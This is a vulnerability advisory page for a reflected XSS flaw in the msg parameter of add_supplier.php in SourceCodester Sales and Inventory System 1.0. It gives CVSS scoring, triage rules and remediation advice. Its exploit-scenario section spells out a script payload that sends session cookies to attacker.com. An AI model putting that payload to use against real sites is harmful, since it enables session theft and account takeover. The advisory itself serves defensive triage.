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PHP EUVDEUVD-2026-17099

| CVE-2026-30560 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-03-30 mitre GHSA-v93p-qq7j-v866
6.1
CVSS 3.1 · NVD
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Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

Despite the absence of CVSS scoring data, this vulnerability carries meaningful real-world risk. Reflected XSS requires low attacker capability and no authentication (PR:N equivalent), but does require user interaction-victims must click a malicious link. The publicly available proof-of-concept lowers the barrier to exploitation. However, reflected XSS severity depends heavily on deployment context: if the Sales and Inventory System is internet-facing and used by multiple users, risk is elevated; if it is internal-only or single-user, risk is lower. The lack of CVSS vector prevents formal comparison with other vulnerabilities, but the general principle-reflected XSS in unauthenticated endpoints is commonly scored 6.1 (medium)-applies. This is a genuine security issue, not a theoretical concern, and should be prioritized proportional to the system's exposure.

Exploit ScenarioDerived

An attacker crafts a URL such as add_supplier.php?msg=<script>fetch('https://attacker.com/steal.php?cookie='+document.cookie)</script> and sends it via phishing email to an authenticated user of the Sales and Inventory System. When the user clicks the link while logged in, the JavaScript executes in their browser, exfiltrating session cookies to the attacker's server, enabling account takeover. The attack requires the victim to click the link but no special privileges or authentication by the attacker themselves. Publicly available proof-of-concept code exists to construct such payloads.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.1% exploitation probability (EPSS)

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AnalysisAIv1 – Mar 30, 2026

Reflected XSS in SourceCodester Sales and Inventory System 1.0 allows remote attackers to inject arbitrary JavaScript or HTML through the msg parameter in add_supplier.php, enabling session hijacking, credential theft, or malware distribution without authentication. The vulnerability has publicly available proof-of-concept code demonstrating the attack vector.

RemediationAI

Implement output encoding on all user-supplied parameters before rendering them in HTML context. In the add_supplier.php file, apply htmlspecialchars($msg, ENT_QUOTES, 'UTF-8') to the msg parameter when echoing it to the page. Additionally, implement input validation to reject or sanitize unexpected characters. If possible, upgrade SourceCodester Sales and Inventory System to a patched version when available; check the vendor's repository (GitHub or official project page) for security updates. Apply a web application firewall (WAF) rule to block requests containing common XSS payloads (script tags, event handlers) as a temporary defense. Reference the proof-of-concept at https://github.com/meifukun/Web-Security-PoCs/blob/main/Inventory-System/XSS-AddSupplier-msg.md to validate that remediation prevents the demonstrated attack.

Affected VersionsENISA

n/a n/a

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This reflected cross-site scripting vulnerability (CWE-79) occurs in a PHP-based inventory management application where user-supplied input via the msg URL parameter is returned in HTTP responses without proper HTML encoding or sanitization. The add_supplier.php endpoint fails to implement context-appropriate output encoding (such as htmlspecialchars() or similar functions in PHP), allowing attacker-controlled strings to be interpreted as executable scripts by the victim's browser. Reflected XSS differs from stored XSS in that the payload must be delivered via a malicious URL rather than persisted in a database; however, the impact on the victim remains equivalent.

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  • Exploit and PoC references, threat intelligence from 22 sources

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Severity by source

NVD PRIMARY 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

2
PoC Detected
Apr 06, 2026 - 14:16 vuln.today
Public exploit code
CVE Published
Mar 30, 2026 - 00:00 nvd
MEDIUM 6.1

DescriptionCVE.org

A Reflected Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Sales and Inventory System 1.0. The vulnerability is located in the add_supplier.php file via the "msg" parameter. The application fails to sanitize the input, allowing remote attackers to inject arbitrary web script or HTML via a crafted URL.

Threat Intelligence Overview

EPSS Score
0.1%
Top 77% exploitable
Exploit
POC
Public exploit code exists
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.1%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

50
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

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